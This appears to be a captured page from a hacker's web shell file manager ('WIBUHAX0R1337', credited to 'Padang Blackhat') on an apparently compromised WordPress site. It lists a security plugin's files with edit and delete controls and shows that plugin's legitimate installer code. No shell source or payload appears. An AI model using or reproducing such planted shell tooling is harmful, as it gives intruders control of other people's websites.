-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
rohihbs.com
/
wp-content
/
plugins
/
really-simple-ssl
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
assets
--
NONE
core
--
NONE
languages
--
NONE
lets-encrypt
--
NONE
lib
--
NONE
mailer
--
NONE
modal
--
NONE
placeholders
--
NONE
progress
--
NONE
security
--
NONE
settings
--
NONE
testssl
--
NONE
upgrade
--
NONE
class-admin.php
110.237KB
Edit File
Delete File
Rename
class-cache.php
3.223KB
Edit File
Delete File
Rename
class-certificate.php
7.388KB
Edit File
Delete File
Rename
class-front-end.php
2.042KB
Edit File
Delete File
Rename
class-installer.php
4.467KB
Edit File
Delete File
Rename
class-mixed-content-fixer.php
5.548KB
Edit File
Delete File
Rename
class-multisite.php
20.872KB
Edit File
Delete File
Rename
class-server.php
4.44KB
Edit File
Delete File
Rename
class-site-health.php
14.236KB
Edit File
Delete File
Rename
class-wp-cli.php
63.708KB
Edit File
Delete File
Rename
compatibility.php
2.142KB
Edit File
Delete File
Rename
functions.php
20.295KB
Edit File
Delete File
Rename
index.php
0.034KB
Edit File
Delete File
Rename
readme.txt
33.099KB
Edit File
Delete File
Rename
rector.php
1.065KB
Edit File
Delete File
Rename
rlrsssl-really-simple-ssl.php
12.643KB
Edit File
Delete File
Rename
rsssl-auto-loader.php
1.88KB
Edit File
Delete File
Rename
sbom.json.gz
22.483KB
Edit File
Delete File
Rename
ssl-test-page.php
1.904KB
Edit File
Delete File
Rename
system-status.php
16.896KB
Edit File
Delete File
Rename
uninstall.php
6.027KB
Edit File
Delete File
Rename
upgrade.php
11.399KB
Edit File
Delete File
Rename
<?php if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! function_exists( 'is_plugin_active' ) ) { include_once ABSPATH . 'wp-admin/includes/plugin.php'; } /** * Install suggested plugins */ if ( ! class_exists( 'rsssl_installer' ) ) { class rsssl_installer { private $slug = ''; public function __construct( $slug ) { if ( ! wp_doing_cron() && ! current_user_can( 'install_plugins' ) ) { return; } $this->slug = $slug; } /** * Check if plugin is downloaded * @return bool */ public function plugin_is_downloaded() { return file_exists( trailingslashit( WP_PLUGIN_DIR ) . $this->get_activation_slug() ); } /** * Check if plugin is activated * @return bool */ public function plugin_is_activated() { return is_plugin_active( $this->get_activation_slug() ); } /** * Install plugin * @param string $step * * @return void */ public function install( $step ) { if ( ! current_user_can( 'install_plugins' ) ) { return; } if ( 'download' === $step ) { $this->download_plugin(); } if ( 'activate' === $step ) { $this->activate_plugin(); } } /** * Get slug to activate plugin with * @return string */ public function get_activation_slug() { $slugs = [ 'complianz-gdpr' => 'complianz-gdpr/complianz-gpdr.php', 'complianz-terms-conditions' => 'complianz-terms-conditions/complianz-terms-conditions.php', 'simplybook' => 'simplybook/simplybook.php', ]; return $slugs[ $this->slug ]; } /** * Cancel shepherd tour * @return void */ public function cancel_tour() { $prefixes = [ 'complianz-gdpr' => 'cmplz', 'complianz-terms-conditions' => 'cmplz_tc', 'simplybook' => 'simplybook', ]; $prefix = $prefixes[ $this->slug ]; update_site_option( $prefix . '_tour_started', false ); update_site_option( $prefix . '_tour_shown_once', true ); delete_transient( $prefix . '_redirect_to_settings' ); delete_transient( $prefix . '_redirect_to_settings_page' ); } /** * Download the plugin * @return bool */ public function download_plugin() { if ( ! wp_doing_cron() && ! current_user_can( 'install_plugins' ) ) { return false; } if ( get_transient( 'rsssl_plugin_download_active' ) !== $this->slug ) { set_transient( 'rsssl_plugin_download_active', $this->slug, MINUTE_IN_SECONDS ); $info = $this->get_plugin_info(); $download_link = esc_url_raw( $info->versions['trunk'] ); require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; require_once ABSPATH . 'wp-admin/includes/file.php'; include_once ABSPATH . 'wp-admin/includes/plugin-install.php'; if ( ! is_writable( WP_PLUGIN_DIR ) ) { return false; } $skin = new WP_Ajax_Upgrader_Skin(); $upgrader = new Plugin_Upgrader( $skin ); $result = $upgrader->install( $download_link ); if ( is_wp_error( $result ) ) { return false; } delete_transient( 'rsssl_plugin_download_active' ); } return true; } /** * Activate the plugin * * @return bool */ public function activate_plugin() { if ( ! wp_doing_cron() && ! current_user_can( 'install_plugins' ) ) { return false; } $slug = $this->get_activation_slug(); $plugin_file_path = trailingslashit( WP_PLUGIN_DIR ) . $slug; // Make sure the plugin file exists before trying to activate it if ( ! file_exists( $plugin_file_path ) ) { return false; } // Use plugin_basename to generate the correct slug, considering the WP_PLUGIN_DIR $plugin_slug = plugin_basename( $plugin_file_path ); $networkwide = is_multisite() && rsssl_is_networkwide_active(); if ( ! defined( 'DOING_CRON' ) ) { define( 'DOING_CRON', true );//phpcs:ignore } $result = activate_plugin( $plugin_slug, '', $networkwide ); if ( is_wp_error( $result ) ) { return false; } $this->cancel_tour(); return true; } /** * Get plugin info * @return array|WP_Error */ public function get_plugin_info() { require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; $plugin_info = get_transient( 'rsssl_' . $this->slug . '_plugin_info' ); if ( empty( $plugin_info ) ) { $plugin_info = plugins_api( 'plugin_information', array( 'slug' => $this->slug ) ); if ( ! is_wp_error( $plugin_info ) ) { set_transient( 'rsssl_' . $this->slug . '_plugin_info', $plugin_info, WEEK_IN_SECONDS ); } } return $plugin_info; } } }
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat